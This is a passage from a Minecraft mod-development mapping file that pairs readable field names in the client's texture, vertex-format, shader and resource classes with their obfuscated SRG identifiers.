net/minecraft/client/shader/ShaderUniform/field_148101_e +FD: net/minecraft/client/shader/ShaderUniform/uniformFloatBuffer net/minecraft/client/shader/ShaderUniform/field_148098_f +FD: net/minecraft/client/shader/ShaderUniform/shaderName net/minecraft/client/shader/ShaderUniform/field_148099_g +FD: net/minecraft/client/shader/ShaderUniform/dirty net/minecraft/client/shader/ShaderUniform/field_148105_h +FD: net/minecraft/client/shader/ShaderUniform/shaderManager net/minecraft/client/shader/ShaderUniform/field_148106_i +FD: net/minecraft/client/renderer/texture/AbstractTexture/glTextureId net/minecraft/client/renderer/texture/AbstractTexture/field_110553_a +FD: net/minecraft/client/renderer/texture/AbstractTexture/blur net/minecraft/client/renderer/texture/AbstractTexture/field_174940_b +FD: net/minecraft/client/renderer/texture/AbstractTexture/mipmap net/minecraft/client/renderer/texture/AbstractTexture/field_174941_c +FD: net/minecraft/client/renderer/texture/AbstractTexture/blurLast net/minecraft/client/renderer/texture/AbstractTexture/field_174938_d +FD: net/minecraft/client/renderer/texture/AbstractTexture/mipmapLast net/minecraft/client/renderer/texture/AbstractTexture/field_174939_e +FD: net/minecraft/client/renderer/texture/DynamicTexture/dynamicTextureData net/minecraft/client/renderer/texture/DynamicTexture/field_110566_b +FD: net/minecraft/client/renderer/texture/DynamicTexture/width net/minecraft/client/renderer/texture/DynamicTexture/field_94233_j +FD: net/minecraft/client/renderer/texture/DynamicTexture/height net/minecraft/client/renderer/texture/DynamicTexture/field_94234_k +FD: net/minecraft/client/renderer/ThreadDownloadImageData$1/field_110932_a net/minecraft/client/renderer/ThreadDownloadImageData$1/field_110932_a +FD: net/minecraft/client/renderer/ThreadDownloadImageData/logger net/minecraft/client/renderer/ThreadDownloadImageData/field_147644_c +FD: net/minecraft/client/renderer/ThreadDownloadImageData/threadDownloadCounter net/minecraft/client/renderer/ThreadDownloadImageData/field_147643_d +FD: net/minecraft/client/renderer/ThreadDownloadImageData/cacheFile net/minecraft/client/renderer/ThreadDownloadImageData/field_152434_e +FD: net/minecraft/client/renderer/ThreadDownloadImageData/imageUrl net/minecraft/client/renderer/ThreadDownloadImageData/field_110562_b +FD: net/minecraft/client/renderer/ThreadDownloadImageData/imageBuffer net/minecraft/client/renderer/ThreadDownloadImageData/field_110563_c +FD: net/minecraft/client/renderer/ThreadDownloadImageData/bufferedImage net/minecraft/client/renderer/ThreadDownloadImageData/field_110560_d +FD: net/minecraft/client/renderer/ThreadDownloadImageData/imageThread net/minecraft/client/renderer/ThreadDownloadImageData/field_110561_e +FD: net/minecraft/client/renderer/ThreadDownloadImageData/textureUploaded net/minecraft/client/renderer/ThreadDownloadImageData/field_110559_g +FD: net/minecraft/client/renderer/texture/LayeredColorMaskTexture/LOG net/minecraft/client/renderer/texture/LayeredColorMaskTexture/field_174947_f +FD: net/minecraft/client/renderer/texture/LayeredColorMaskTexture/textureLocation net/minecraft/client/renderer/texture/LayeredColorMaskTexture/field_174948_g +FD: net/minecraft/client/renderer/texture/LayeredColorMaskTexture/field_174949_h net/minecraft/client/renderer/texture/LayeredColorMaskTexture/field_174949_h +FD: net/minecraft/client/renderer/texture/LayeredColorMaskTexture/field_174950_i net/minecraft/client/renderer/texture/LayeredColorMaskTexture/field_174950_i +FD: net/minecraft/client/renderer/texture/LayeredTexture/layeredTextureNames net/minecraft/client/renderer/texture/LayeredTexture/field_110567_b +FD: net/minecraft/client/renderer/texture/LayeredTexture/logger net/minecraft/client/renderer/texture/LayeredTexture/field_147638_c +FD: net/minecraft/client/renderer/texture/SimpleTexture/textureLocation net/minecraft/client/renderer/texture/SimpleTexture/field_110568_b +FD: net/minecraft/client/renderer/texture/SimpleTexture/logger net/minecraft/client/renderer/texture/SimpleTexture/field_147639_c +FD: net/minecraft/client/renderer/texture/Stitcher$Holder/theTexture net/minecraft/client/renderer/texture/Stitcher$Holder/field_98151_a +FD: net/minecraft/client/renderer/texture/Stitcher$Holder/width net/minecraft/client/renderer/texture/Stitcher$Holder/field_94204_c +FD: net/minecraft/client/renderer/texture/Stitcher$Holder/height net/minecraft/client/renderer/texture/Stitcher$Holder/field_94201_d +FD: net/minecraft/client/renderer/texture/Stitcher$Holder/mipmapLevelHolder net/minecraft/client/renderer/texture/Stitcher$Holder/field_147968_d +FD: net/minecraft/client/renderer/texture/Stitcher$Holder/rotated net/minecraft/client/renderer/texture/Stitcher$Holder/field_94202_e +FD: net/minecraft/client/renderer/texture/Stitcher$Holder/scaleFactor net/minecraft/client/renderer/texture/Stitcher$Holder/field_94205_a +FD: net/minecraft/client/renderer/texture/Stitcher$Slot/originX net/minecraft/client/renderer/texture/Stitcher$Slot/field_94192_a +FD: net/minecraft/client/renderer/texture/Stitcher$Slot/originY net/minecraft/client/renderer/texture/Stitcher$Slot/field_94190_b +FD: net/minecraft/client/renderer/texture/Stitcher$Slot/width net/minecraft/client/renderer/texture/Stitcher$Slot/field_94191_c +FD: net/minecraft/client/renderer/texture/Stitcher$Slot/height net/minecraft/client/renderer/texture/Stitcher$Slot/field_94188_d +FD: net/minecraft/client/renderer/texture/Stitcher$Slot/subSlots net/minecraft/client/renderer/texture/Stitcher$Slot/field_94189_e +FD: net/minecraft/client/renderer/texture/Stitcher$Slot/holder net/minecraft/client/renderer/texture/Stitcher$Slot/field_94187_f +FD: net/minecraft/client/renderer/texture/Stitcher/mipmapLevelStitcher net/minecraft/client/renderer/texture/Stitcher/field_147971_a +FD: net/minecraft/client/renderer/texture/Stitcher/setStitchHolders net/minecraft/client/renderer/texture/Stitcher/field_94319_a +FD: net/minecraft/client/renderer/texture/Stitcher/stitchSlots net/minecraft/client/renderer/texture/Stitcher/field_94317_b +FD: net/minecraft/client/renderer/texture/Stitcher/currentWidth net/minecraft/client/renderer/texture/Stitcher/field_94318_c +FD: net/minecraft/client/renderer/texture/Stitcher/currentHeight net/minecraft/client/renderer/texture/Stitcher/field_94315_d +FD: net/minecraft/client/renderer/texture/Stitcher/maxWidth net/minecraft/client/renderer/texture/Stitcher/field_94316_e +FD: net/minecraft/client/renderer/texture/Stitcher/maxHeight net/minecraft/client/renderer/texture/Stitcher/field_94313_f +FD: net/minecraft/client/renderer/texture/Stitcher/forcePowerOf2 net/minecraft/client/renderer/texture/Stitcher/field_94314_g +FD: net/minecraft/client/renderer/texture/Stitcher/maxTileDimension net/minecraft/client/renderer/texture/Stitcher/field_94323_h +FD: net/minecraft/client/renderer/StitcherException/holder net/minecraft/client/renderer/StitcherException/field_98149_a +FD: net/minecraft/client/renderer/texture/TextureMap$1/field_147980_a net/minecraft/client/renderer/texture/TextureMap$1/field_147980_a +FD: net/minecraft/client/renderer/texture/TextureMap$1/field_147979_b net/minecraft/client/renderer/texture/TextureMap$1/field_147979_b +FD: net/minecraft/client/renderer/texture/TextureMap$2/field_147977_a net/minecraft/client/renderer/texture/TextureMap$2/field_147977_a +FD: net/minecraft/client/renderer/texture/TextureMap$2/field_147976_b net/minecraft/client/renderer/texture/TextureMap$2/field_147976_b +FD: net/minecraft/client/renderer/texture/TextureMap$3/field_147974_a net/minecraft/client/renderer/texture/TextureMap$3/field_147974_a +FD: net/minecraft/client/renderer/texture/TextureMap$3/field_147973_b net/minecraft/client/renderer/texture/TextureMap$3/field_147973_b +FD: net/minecraft/client/renderer/texture/TextureMap/LOCATION_MISSING_TEXTURE net/minecraft/client/renderer/texture/TextureMap/field_174945_f +FD: net/minecraft/client/renderer/texture/TextureMap/locationBlocksTexture net/minecraft/client/renderer/texture/TextureMap/field_110575_b +FD: net/minecraft/client/renderer/texture/TextureMap/logger net/minecraft/client/renderer/texture/TextureMap/field_147635_d +FD: net/minecraft/client/renderer/texture/TextureMap/listAnimatedSprites net/minecraft/client/renderer/texture/TextureMap/field_94258_i +FD: net/minecraft/client/renderer/texture/TextureMap/mapRegisteredSprites net/minecraft/client/renderer/texture/TextureMap/field_110574_e +FD: net/minecraft/client/renderer/texture/TextureMap/mapUploadedSprites net/minecraft/client/renderer/texture/TextureMap/field_94252_e +FD: net/minecraft/client/renderer/texture/TextureMap/basePath net/minecraft/client/renderer/texture/TextureMap/field_94254_c +FD: net/minecraft/client/renderer/texture/TextureMap/iconCreator net/minecraft/client/renderer/texture/TextureMap/field_174946_m +FD: net/minecraft/client/renderer/texture/TextureMap/mipmapLevels net/minecraft/client/renderer/texture/TextureMap/field_147636_j +FD: net/minecraft/client/renderer/texture/TextureMap/missingImage net/minecraft/client/renderer/texture/TextureMap/field_94249_f +FD: net/minecraft/client/renderer/texture/TextureAtlasSprite$1/field_147983_a net/minecraft/client/renderer/texture/TextureAtlasSprite$1/field_147983_a +FD: net/minecraft/client/renderer/texture/TextureAtlasSprite$1/field_147982_b net/minecraft/client/renderer/texture/TextureAtlasSprite$1/field_147982_b +FD: net/minecraft/client/renderer/texture/TextureAtlasSprite/framesTextureData net/minecraft/client/renderer/texture/TextureAtlasSprite/field_110976_a +FD: net/minecraft/client/renderer/texture/TextureAtlasSprite/interpolatedFrameData net/minecraft/client/renderer/texture/TextureAtlasSprite/field_176605_b +FD: net/minecraft/client/renderer/texture/TextureAtlasSprite/rotated net/minecraft/client/renderer/texture/TextureAtlasSprite/field_130222_e +FD: net/minecraft/client/renderer/texture/TextureAtlasSprite/originX net/minecraft/client/renderer/texture/TextureAtlasSprite/field_110975_c +FD: net/minecraft/client/renderer/texture/TextureAtlasSprite/originY net/minecraft/client/renderer/texture/TextureAtlasSprite/field_110974_d +FD: net/minecraft/client/renderer/texture/TextureAtlasSprite/width net/minecraft/client/renderer/texture/TextureAtlasSprite/field_130223_c +FD: net/minecraft/client/renderer/texture/TextureAtlasSprite/height net/minecraft/client/renderer/texture/TextureAtlasSprite/field_130224_d +FD: net/minecraft/client/renderer/texture/TextureAtlasSprite/frameCounter net/minecraft/client/renderer/texture/TextureAtlasSprite/field_110973_g +FD: net/minecraft/client/renderer/texture/TextureAtlasSprite/tickCounter net/minecraft/client/renderer/texture/TextureAtlasSprite/field_110983_h +FD: net/minecraft/client/renderer/texture/TextureAtlasSprite/iconName net/minecraft/client/renderer/texture/TextureAtlasSprite/field_110984_i +FD: net/minecraft/client/renderer/texture/TextureAtlasSprite/animationMetadata net/minecraft/client/renderer/texture/TextureAtlasSprite/field_110982_k +FD: net/minecraft/client/renderer/texture/TextureAtlasSprite/minU net/minecraft/client/renderer/texture/TextureAtlasSprite/field_110979_l +FD: net/minecraft/client/renderer/texture/TextureAtlasSprite/maxU net/minecraft/client/renderer/texture/TextureAtlasSprite/field_110980_m +FD: net/minecraft/client/renderer/texture/TextureAtlasSprite/minV net/minecraft/client/renderer/texture/TextureAtlasSprite/field_110977_n +FD: net/minecraft/client/renderer/texture/TextureAtlasSprite/maxV net/minecraft/client/renderer/texture/TextureAtlasSprite/field_110978_o +FD: net/minecraft/client/renderer/texture/TextureAtlasSprite/locationNameClock net/minecraft/client/renderer/texture/TextureAtlasSprite/field_176607_p +FD: net/minecraft/client/renderer/texture/TextureAtlasSprite/locationNameCompass net/minecraft/client/renderer/texture/TextureAtlasSprite/field_176606_q +FD: net/minecraft/client/renderer/texture/TextureManager$1/field_135062_a net/minecraft/client/renderer/texture/TextureManager$1/field_135062_a +FD: net/minecraft/client/renderer/texture/TextureManager$1/field_135061_b net/minecraft/client/renderer/texture/TextureManager$1/field_135061_b +FD: net/minecraft/client/renderer/texture/TextureManager/logger net/minecraft/client/renderer/texture/TextureManager/field_147646_a +FD: net/minecraft/client/renderer/texture/TextureManager/mapTextureObjects net/minecraft/client/renderer/texture/TextureManager/field_110585_a +FD: net/minecraft/client/renderer/texture/TextureManager/listTickables net/minecraft/client/renderer/texture/TextureManager/field_110583_b +FD: net/minecraft/client/renderer/texture/TextureManager/mapTextureCounters net/minecraft/client/renderer/texture/TextureManager/field_110584_c +FD: net/minecraft/client/renderer/texture/TextureManager/theResourceManager net/minecraft/client/renderer/texture/TextureManager/field_110582_d +FD: net/minecraft/client/renderer/texture/TextureUtil/missingTexture net/minecraft/client/renderer/texture/TextureUtil/field_111001_a +FD: net/minecraft/client/renderer/texture/TextureUtil/missingTextureData net/minecraft/client/renderer/texture/TextureUtil/field_110999_b +FD: net/minecraft/client/renderer/texture/TextureUtil/logger net/minecraft/client/renderer/texture/TextureUtil/field_147959_c +FD: net/minecraft/client/renderer/texture/TextureUtil/dataBuffer net/minecraft/client/renderer/texture/TextureUtil/field_111000_c +FD: net/minecraft/client/renderer/texture/TextureUtil/mipmapBuffer net/minecraft/client/renderer/texture/TextureUtil/field_147957_g +FD: net/minecraft/client/renderer/texture/TextureClock/currentAngle net/minecraft/client/renderer/texture/TextureClock/field_94239_h +FD: net/minecraft/client/renderer/texture/TextureClock/angleDelta net/minecraft/client/renderer/texture/TextureClock/field_94240_i +FD: net/minecraft/client/renderer/texture/TextureCompass/currentAngle net/minecraft/client/renderer/texture/TextureCompass/field_94244_i +FD: net/minecraft/client/renderer/texture/TextureCompass/angleDelta net/minecraft/client/renderer/texture/TextureCompass/field_94242_j +FD: net/minecraft/client/renderer/texture/TextureCompass/locationSprite net/minecraft/client/renderer/texture/TextureCompass/field_176608_l +FD: net/minecraft/client/renderer/vertex/DefaultVertexFormats/BLOCK net/minecraft/client/renderer/vertex/DefaultVertexFormats/field_176600_a +FD: net/minecraft/client/renderer/vertex/DefaultVertexFormats/ITEM net/minecraft/client/renderer/vertex/DefaultVertexFormats/field_176599_b +FD: net/minecraft/client/renderer/vertex/DefaultVertexFormats/OLDMODEL_POSITION_TEX_NORMAL net/minecraft/client/renderer/vertex/DefaultVertexFormats/field_181703_c +FD: net/minecraft/client/renderer/vertex/DefaultVertexFormats/PARTICLE_POSITION_TEX_COLOR_LMAP net/minecraft/client/renderer/vertex/DefaultVertexFormats/field_181704_d +FD: net/minecraft/client/renderer/vertex/DefaultVertexFormats/POSITION net/minecraft/client/renderer/vertex/DefaultVertexFormats/field_181705_e +FD: net/minecraft/client/renderer/vertex/DefaultVertexFormats/POSITION_COLOR net/minecraft/client/renderer/vertex/DefaultVertexFormats/field_181706_f +FD: net/minecraft/client/renderer/vertex/DefaultVertexFormats/POSITION_TEX net/minecraft/client/renderer/vertex/DefaultVertexFormats/field_181707_g +FD: net/minecraft/client/renderer/vertex/DefaultVertexFormats/POSITION_NORMAL net/minecraft/client/renderer/vertex/DefaultVertexFormats/field_181708_h +FD: net/minecraft/client/renderer/vertex/DefaultVertexFormats/POSITION_TEX_COLOR net/minecraft/client/renderer/vertex/DefaultVertexFormats/field_181709_i +FD: net/minecraft/client/renderer/vertex/DefaultVertexFormats/POSITION_TEX_NORMAL net/minecraft/client/renderer/vertex/DefaultVertexFormats/field_181710_j +FD: net/minecraft/client/renderer/vertex/DefaultVertexFormats/POSITION_TEX_LMAP_COLOR net/minecraft/client/renderer/vertex/DefaultVertexFormats/field_181711_k +FD: net/minecraft/client/renderer/vertex/DefaultVertexFormats/POSITION_TEX_COLOR_NORMAL net/minecraft/client/renderer/vertex/DefaultVertexFormats/field_181712_l +FD: net/minecraft/client/renderer/vertex/DefaultVertexFormats/POSITION_3F net/minecraft/client/renderer/vertex/DefaultVertexFormats/field_181713_m +FD: net/minecraft/client/renderer/vertex/DefaultVertexFormats/COLOR_4UB net/minecraft/client/renderer/vertex/DefaultVertexFormats/field_181714_n +FD: net/minecraft/client/renderer/vertex/DefaultVertexFormats/TEX_2F net/minecraft/client/renderer/vertex/DefaultVertexFormats/field_181715_o +FD: net/minecraft/client/renderer/vertex/DefaultVertexFormats/TEX_2S net/minecraft/client/renderer/vertex/DefaultVertexFormats/field_181716_p +FD: net/minecraft/client/renderer/vertex/DefaultVertexFormats/NORMAL_3B net/minecraft/client/renderer/vertex/DefaultVertexFormats/field_181717_q +FD: net/minecraft/client/renderer/vertex/DefaultVertexFormats/PADDING_1B net/minecraft/client/renderer/vertex/DefaultVertexFormats/field_181718_r +FD: net/minecraft/client/renderer/vertex/VertexBuffer/glBufferId net/minecraft/client/renderer/vertex/VertexBuffer/field_177365_a +FD: net/minecraft/client/renderer/vertex/VertexBuffer/vertexFormat net/minecraft/client/renderer/vertex/VertexBuffer/field_177363_b +FD: net/minecraft/client/renderer/vertex/VertexBuffer/count net/minecraft/client/renderer/vertex/VertexBuffer/field_177364_c +FD: net/minecraft/client/renderer/vertex/VertexFormat$1/field_177382_a net/minecraft/client/renderer/vertex/VertexFormat$1/field_177382_a +FD: net/minecraft/client/renderer/vertex/VertexFormat/LOGGER net/minecraft/client/renderer/vertex/VertexFormat/field_177357_a +FD: net/minecraft/client/renderer/vertex/VertexFormat/elements net/minecraft/client/renderer/vertex/VertexFormat/field_177355_b +FD: net/minecraft/client/renderer/vertex/VertexFormat/offsets net/minecraft/client/renderer/vertex/VertexFormat/field_177356_c +FD: net/minecraft/client/renderer/vertex/VertexFormat/nextOffset net/minecraft/client/renderer/vertex/VertexFormat/field_177353_d +FD: net/minecraft/client/renderer/vertex/VertexFormat/colorElementOffset net/minecraft/client/renderer/vertex/VertexFormat/field_177354_e +FD: net/minecraft/client/renderer/vertex/VertexFormat/uvOffsetsById net/minecraft/client/renderer/vertex/VertexFormat/field_177351_f +FD: net/minecraft/client/renderer/vertex/VertexFormat/normalElementOffset net/minecraft/client/renderer/vertex/VertexFormat/field_177352_g +FD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/FLOAT net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/FLOAT +FD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/UBYTE net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/UBYTE +FD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/BYTE net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/BYTE +FD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/USHORT net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/USHORT +FD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/SHORT net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/SHORT +FD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/UINT net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/UINT +FD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/INT net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/INT +FD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/size net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/field_177407_h +FD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/displayName net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/field_177408_i +FD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/glConstant net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/field_177405_j +FD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/$VALUES net/minecraft/client/renderer/vertex/VertexFormatElement$EnumType/$VALUES +FD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage/POSITION net/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage/POSITION +FD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage/NORMAL net/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage/NORMAL +FD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage/COLOR net/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage/COLOR +FD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage/UV net/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage/UV +FD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage/MATRIX net/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage/MATRIX +FD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage/BLEND_WEIGHT net/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage/BLEND_WEIGHT +FD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage/PADDING net/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage/PADDING +FD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage/displayName net/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage/field_177392_h +FD: net/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage/$VALUES net/minecraft/client/renderer/vertex/VertexFormatElement$EnumUsage/$VALUES +FD: net/minecraft/client/renderer/vertex/VertexFormatElement/LOGGER net/minecraft/client/renderer/vertex/VertexFormatElement/field_177381_a +FD: net/minecraft/client/renderer/vertex/VertexFormatElement/type net/minecraft/client/renderer/vertex/VertexFormatElement/field_177379_b +FD: net/minecraft/client/renderer/vertex/VertexFormatElement/usage net/minecraft/client/renderer/vertex/VertexFormatElement/field_177380_c +FD: net/minecraft/client/renderer/vertex/VertexFormatElement/index net/minecraft/client/renderer/vertex/VertexFormatElement/field_177377_d +FD: net/minecraft/client/renderer/vertex/VertexFormatElement/elementCount net/minecraft/client/renderer/vertex/VertexFormatElement/field_177378_e +FD: net/minecraft/client/resources/AbstractResourcePack/resourcePackFile net/minecraft/client/resources/AbstractResourcePack/field_110597_b +FD: net/minecraft/client/resources/AbstractResourcePack/resourceLog net/minecraft/client/resources/AbstractResourcePack/field_110598_a +FD: net/minecraft/client/resources/ResourceIndex/logger net/minecraft/client/resources/ResourceIndex/field_152783_a +FD: net/minecraft/client/resources/ResourceIndex/resourceMap net/minecraft/client/resources/ResourceIndex/field_152784_b +FD: net/minecraft/client/resources/DefaultPlayerSkin/TEXTURE_STEVE net/minecraft/client/resources/DefaultPlayerSkin/field_177337_a +FD: net/minecraft/client/resources/DefaultPlayerSkin/TEXTURE_ALEX net/minecraft/client/resources/DefaultPlayerSkin/field_177336_b +FD: net/minecraft/client/resources/DefaultResourcePack/defaultResourceDomains net/minecraft/client/resources/DefaultResourcePack/field_110608_a +FD: net/minecraft/client/resources/DefaultResourcePack/mapAssets net/minecraft/client/resources/DefaultResourcePack/field_152781_b +FD: net/minecraft/client/resources/FallbackResourceManager$InputStreamLeakedResourceLogger/inputStream net/minecraft/client/resources/FallbackResourceManager$InputStreamLeakedResourceLogger/field_177330_a +FD: net/minecraft/client/resources/FallbackResourceManager$InputStreamLeakedResourceLogger/message net/minecraft/client/resources/FallbackResourceManager$InputStreamLeakedResourceLogger/field_177328_b +FD: net/minecraft/client/resources/FallbackResourceManager$InputStreamLeakedResourceLogger/isClosed net/minecraft/client/resources/FallbackResourceManager$InputStreamLeakedResourceLogger/field_177329_c +FD: net/minecraft/client/resources/FallbackResourceManager/resourcePacks net/minecraft/client/resources/FallbackResourceManager/field_110540_a +FD: net/minecraft/client/resources/FallbackResourceManager/logger net/minecraft/client/resources/FallbackResourceManager/field_177246_b +FD: net/minecraft/client/resources/FallbackResourceManager/frmMetadataSerializer net/minecraft/client/resources/FallbackResourceManager/field_110539_b +FD: net/minecraft/client/resources/FileResourcePack/entryNameSplitter net/minecraft/client/resources/FileResourcePack/field_110601_c +FD: net/minecraft/client/resources/FileResourcePack/resourcePackZipFile net/minecraft/client/resources/FileResourcePack/field_110600_d +FD: net/minecraft/client/resources/FoliageColorReloadListener/LOC_FOLIAGE_PNG net/minecraft/client/resources/FoliageColorReloadListener/field_130079_a +FD: net/minecraft/client/resources/GrassColorReloadListener/LOC_GRASS_PNG net/minecraft/client/resources/GrassColorReloadListener/field_130078_a +FD: net/minecraft/client/resources/ResourcePackRepository$2/field_177324_a net/minecraft/client/resources/ResourcePackRepository$2/field_177324_a +FD: net/minecraft/client/resources/ResourcePackRepository$2/field_177323_b net/minecraft/client/resources/ResourcePackRepository$2/field_177323_b +FD: net/minecraft/client/resources/ResourcePackRepository$2/field_148523_a net/minecraft/client/resources/ResourcePackRepository$2/field_148523_a +FD: net/minecraft/client/resources/ResourcePackRepository$3/field_177327_a net/minecraft/client/resources/ResourcePackRepository$3/field_177327_a +FD: net/minecraft/client/resources/ResourcePackRepository$3/field_177325_b net/minecraft/client/resources/ResourcePackRepository$3/field_177325_b +FD: net/minecraft/client/resources/ResourcePackRepository$3/field_177326_c net/minecraft/client/resources/ResourcePackRepository$3/field_177326_c +FD: net/minecraft/client/resources/ResourcePackRepository$Entry/field_110525_a net/minecraft/client/resources/ResourcePackRepository$Entry/field_110525_a +FD: net/minecraft/client/resources/ResourcePackRepository$Entry/resourcePackFile net/minecraft/client/resources/ResourcePackRepository$Entry/field_110523_b +FD: net/minecraft/client/resources/ResourcePackRepository$Entry/reResourcePack net/minecraft/client/resources/ResourcePackRepository$Entry/field_110524_c +FD: net/minecraft/client/resources/ResourcePackRepository$Entry/rePackMetadataSection net/minecraft/client/resources/ResourcePackRepository$Entry/field_110521_d +FD: net/minecraft/client/resources/ResourcePackRepository$Entry/texturePackIcon net/minecraft/client/resources/ResourcePackRepository$Entry/field_110522_e +FD: net/minecraft/client/resources/ResourcePackRepository$Entry/locationTexturePackIcon net/minecraft/client/resources/ResourcePackRepository$Entry/field_110520_f +FD: net/minecraft/client/resources/ResourcePackRepository/rprDefaultResourcePack net/minecraft/client/resources/ResourcePackRepository/field_110620_b +FD: net/minecraft/client/resources/ResourcePackRepository/rprMetadataSerializer net/minecraft/client/resources/ResourcePackRepository/field_110621_c +FD: net/minecraft/client/resources/ResourcePackRepository/logger net/minecraft/client/resources/ResourcePackRepository/field_177320_c +FD: net/minecraft/client/resources/ResourcePackRepository/resourcePackFilter net/minecraft/client/resources/ResourcePackRepository/field_110622_a +FD: net/minecraft/client/resources/ResourcePackRepository/dirResourcepacks net/minecraft/client/resources/ResourcePackRepository/field_110618_d +FD: net/minecraft/client/resources/ResourcePackRepository/dirServerResourcepacks net/minecraft/client/resources/ResourcePackRepository/field_148534_e +FD: net/minecraft/client/resources/ResourcePackRepository/resourcePackInstance net/minecraft/client/resources/ResourcePackRepository/field_148532_f +FD: net/minecraft/client/resources/ResourcePackRepository/lock net/minecraft/client/resources/ResourcePackRepository/field_177321_h +FD: net/minecraft/client/resources/ResourcePackRepository/downloadingPacks net/minecraft/client/resources/ResourcePackRepository/field_177322_i +FD: net/minecraft/client/resources/ResourcePackRepository/repositoryEntriesAll net/minecraft/client/resources/ResourcePackRepository/field_110619_e +FD: net/minecraft/client/resources/ResourcePackRepository/repositoryEntries net/minecraft/client/resources/ResourcePackRepository/field_110617_f +FD: net/minecraft/client/resources/SimpleReloadableResourceManager$1/field_130076_a net/minecraft/client/resources/SimpleReloadableResourceManager$1/field_130076_a +FD: net/minecraft/client/resources/SimpleReloadableResourceManager/logger net/minecraft/client/resources/SimpleReloadableResourceManager/field_147967_a +FD: net/minecraft/client/resources/SimpleReloadableResourceManager/joinerResourcePacks net/minecraft/client/resources/SimpleReloadableResourceManager/field_130074_a +FD: net/minecraft/client/resources/SimpleReloadableResourceManager/domainResourceManagers net/minecraft/client/resources/SimpleReloadableResourceManager/field_110548_a +FD: net/minecraft/client/resources/SimpleReloadableResourceManager/reloadListeners net/minecraft/client/resources/SimpleReloadableResourceManager/field_110546_b +FD: net/minecraft/client/resources/SimpleReloadableResourceManager/setResourceDomains net/minecraft/client/resources/SimpleReloadableResourceManager/field_135057_d +FD: net/minecraft/client/resources/SimpleReloadableResourceManager/rmMetadataSerializer net/minecraft/client/resources/SimpleReloadableResourceManager/field_110547_c +FD: net/minecraft/client/resources/SimpleResource/mapMetadataSections net/minecraft/client/resources/SimpleResource/field_110535_a +FD: net/minecraft/client/resources/SimpleResource/resourcePackName net/minecraft/client/resources/SimpleResource/field_177242_b +FD: net/minecraft/client/resources/SimpleResource/srResourceLocation net/minecraft/client/resources/SimpleResource/field_110533_b +FD: net/minecraft/client/resources/SimpleResource/resourceInputStream net/minecraft/client/resources/SimpleResource/field_110534_c +FD: net/minecraft/client/resources/SimpleResource/mcmetaInputStream net/minecraft/client/resources/SimpleResource/field_110531_d +FD: net/minecraft/client/resources/SimpleResource/srMetadataSerializer net/minecraft/client/resources/SimpleResource/field_110532_e +FD: net/minecraft/client/resources/SimpleResource/mcmetaJsonChecked net/minecraft/client/resources/SimpleResource/field_110529_f +FD: net/minecraft/client/resources/SimpleResource/mcmetaJson net/minecraft/client/resources/SimpleResource/field_110530_g +FD: net/minecraft/client/resources/SkinManager$1/field_152787_a net/minecraft/client/resources/SkinManager$1/field_152787_a +FD: net/minecraft/client/resources/SkinManager$2/field_152635_a net/minecraft/client/resources/SkinManager$2/field_152635_a +FD: net/minecraft/client/resources/SkinManager$2/field_152636_b net/minecraft/client/resources/SkinManager$2/field_152636_b +FD: net/minecraft/client/resources/SkinManager$2/field_152637_c net/minecraft/client/resources/SkinManager$2/field_152637_c +FD: net/minecraft/client/resources/SkinManager$2/field_152638_d net/minecraft/client/resources/SkinManager$2/field_152638_d +FD: net/minecraft/client/resources/SkinManager$2/field_177249_e net/minecraft/client/resources/SkinManager$2/field_177249_e +FD: net/minecraft/client/resources/SkinManager$2/field_152639_e net/minecraft/client/resources/SkinManager$2/field_152639_e +FD: net/minecraft/client/resources/SkinManager$3$1/field_152803_a net/minecraft/client/resources/SkinManager$3$1/field_152803_a +FD: net/minecraft/client/resources/SkinManager$3$1/field_152804_b net/minecraft/client/resources/SkinManager$3$1/field_152804_b +FD: net/minecraft/client/resources/SkinManager$3/field_152799_a net/minecraft/client/resources/SkinManager$3/field_152799_a +FD: net/minecraft/client/resources/SkinManager$3/field_152800_b net/minecraft/client/resources/SkinManager$3/field_152800_b +FD: net/minecraft/client/resources/SkinManager$3/field_152801_c net/minecraft/client/resources/SkinManager$3/field_152801_c +FD: net/minecraft/client/resources/SkinManager$3/field_152802_d net/minecraft/client/resources/SkinManager$3/field_152802_d +FD: net/minecraft/client/resources/SkinManager/THREAD_POOL net/minecraft/client/resources/SkinManager/field_152794_b +FD: net/minecraft/client/resources/SkinManager/textureManager net/minecraft/client/resources/SkinManager/field_152795_c +FD: 